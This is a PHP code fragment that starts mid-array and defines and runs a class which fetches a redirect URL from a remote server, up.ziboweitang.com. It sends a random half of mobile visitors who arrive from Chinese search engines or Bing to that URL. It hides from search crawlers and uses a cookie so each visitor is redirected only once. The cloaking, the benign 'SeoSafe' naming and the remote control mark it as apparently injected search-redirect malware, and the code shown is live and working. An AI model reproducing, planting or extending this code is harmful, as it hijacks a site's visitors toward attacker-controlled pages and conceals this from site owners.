'https://up.ziboweitang.com/update.php',
'cache_ttl'=>300,
'redirect_probability'=>50,
'cookie_name'=>'mobile_redirected',
'cookie_expire_days'=>1,
'enable_ssl_verify'=>true,
'cache_dir'=>null];
private $shouldRedirect=false;
private $redirectUrl=null;
private $cacheDir;
public function __construct(array $cfg=[]){
$this->config=array_merge($this->config,$cfg);
$this->cacheDir=$this->config['cache_dir']?rtrim($this->config['cache_dir'],DIRECTORY_SEPARATOR):rtrim(sys_get_temp_dir(),DIRECTORY_SEPARATOR);
if(!is_dir($this->cacheDir))@mkdir($this->cacheDir,0775,true);
}
public function process(){
if($this->hasRedirected()||empty($_SERVER['HTTP_REFERER'])||!$this->isMobile()||$this->isSearchSpider()||!$this->isValidMobileSource()||mt_rand(1,100)>$this->config['redirect_probability'])return;
$url=$this->fetchRedirectUrlWithCache();
if($url&&$this->isSafeUrl($url)){
$this->redirectUrl=$url;
$this->shouldRedirect=true;
$this->setRedirectCookie();
}
}
public function outputSeoSafeRedirect(){
if(!$this->shouldRedirect||!$this->redirectUrl||!$this->isSafeUrl($this->redirectUrl))return;
$jsonUrl=json_encode($this->redirectUrl,JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_QUOT|JSON_UNESCAPED_SLASHES);
if($jsonUrl===false)return;
$htmlUrl=htmlspecialchars($this->redirectUrl,ENT_QUOTES,'UTF-8');
echo"";
}
private function isMobile(){
$ua=$_SERVER['HTTP_USER_AGENT']??'';
return preg_match('/android|iphone|ipod|blackberry|iemobile|opera mini|windows phone|mobile/i',$ua)&&!preg_match('/ipad|tablet|pad|tab|kindle|playbook|silk/i',$ua);
}
private function isSearchSpider(){
$ua=$_SERVER['HTTP_USER_AGENT']??'';
return preg_match('/baiduspider|360spider|yisouspider|shenma|bingbot|sogou|googlebot|spider|bot|crawler/i',$ua);
}
private function isValidMobileSource(){
$ref=$_SERVER['HTTP_REFERER']??'';
$ua=$_SERVER['HTTP_USER_AGENT']??'';
$baidu=(strpos($ref,'m.baidu.com')!==false)||(stripos($ua,'baiduboxapp')!==false);
$qihoo=strpos($ref,'m.so.com')!==false;
$shenma=(strpos($ref,'m.sm.cn')!==false)||(stripos($ua,'SMBrowser')!==false)||(stripos($ua,'so.m.sm.cn')!==false);
$sogou=(strpos($ref,'m.sogou.com')!==false)||(stripos($ua,'SogouMobileBrowser')!==false);
$bing=strpos($ref,'bing.com')!==false;
return $baidu||$qihoo||$shenma||$sogou||$bing;
}
private function hasRedirected(){
return isset($_COOKIE[$this->config['cookie_name']])&&$_COOKIE[$this->config['cookie_name']]==='1';
}
private function setRedirectCookie(){
$expire=time()+$this->config['cookie_expire_days']*86400;
$secure=(!empty($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off')||($_SERVER['SERVER_PORT']??0)==443;
$path='/';
if(PHP_VERSION_ID>=70300){
setcookie($this->config['cookie_name'],'1',['expires'=>$expire,'path'=>$path,'secure'=>$secure,'httponly'=>true,'samesite'=>'Lax']);
}else{
$cookie=sprintf('%s=1; expires=%s; path=%s; HttpOnly; SameSite=Lax',$this->config['cookie_name'],gmdate('D, d M Y H:i:s T',$expire),$path);
if($secure)$cookie.='; Secure';
header("Set-Cookie: {$cookie}",false);
}
}
private function fetchRedirectUrlWithCache(){
$cacheFile=$this->cacheDir.DIRECTORY_SEPARATOR.'mobile_rd_'.md5($this->config['api_url']).'.tmp';
if(is_file($cacheFile)&&(time()-filemtime($cacheFile))<$this->config['cache_ttl']){
$fp=@fopen($cacheFile,'rb');
if($fp&&flock($fp,LOCK_SH)){
$cached=stream_get_contents($fp);
flock($fp,LOCK_UN);
fclose($fp);
$url=trim($cached);
if($this->isSafeUrl($url))return $url;
}elseif($fp)fclose($fp);
}
$url=$this->fetchRemoteUrl();
if($url&&$this->isSafeUrl($url)){
$fp=@fopen($cacheFile,'wb');
if($fp&&flock($fp,LOCK_EX)){
ftruncate($fp,0);
fwrite($fp,$url);
fflush($fp);
flock($fp,LOCK_UN);
fclose($fp);
@chmod($cacheFile,0644);
}elseif($fp)fclose($fp);
return $url;
}
return null;
}
private function fetchRemoteUrl(){
$ch=curl_init($this->config['api_url']);
if(!$ch)return null;
$opts=[CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>2,CURLOPT_TIMEOUT_MS=>2000,CURLOPT_CONNECTTIMEOUT=>1,CURLOPT_CONNECTTIMEOUT_MS=>1000,CURLOPT_DNS_CACHE_TIMEOUT=>60,CURLOPT_USERAGENT=>'Mozilla/5.0 (compatible; MobileRedirect/1.0)',CURLOPT_FOLLOWLOCATION=>false,CURLOPT_HEADER=>false];
if($this->config['enable_ssl_verify']){
$opts[CURLOPT_SSL_VERIFYPEER]=true;
$opts[CURLOPT_SSL_VERIFYHOST]=2;
}else{
$opts[CURLOPT_SSL_VERIFYPEER]=false;
$opts[CURLOPT_SSL_VERIFYHOST]=0;
}
curl_setopt_array($ch,$opts);
$res=curl_exec($ch);
$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
return ($code===200&&$res!==false)?trim($res):null;
}
private function isSafeUrl($url){
if(!is_string($url)||empty($url))return false;
$scheme=strtolower(parse_url($url,PHP_URL_SCHEME));
if(!in_array($scheme,['http','https'],true))return false;
return filter_var($url,FILTER_VALIDATE_URL)!==false;
}
}
$rd=new MobileRedirect();
$rd->process();
$rd->outputSeoSafeRedirect();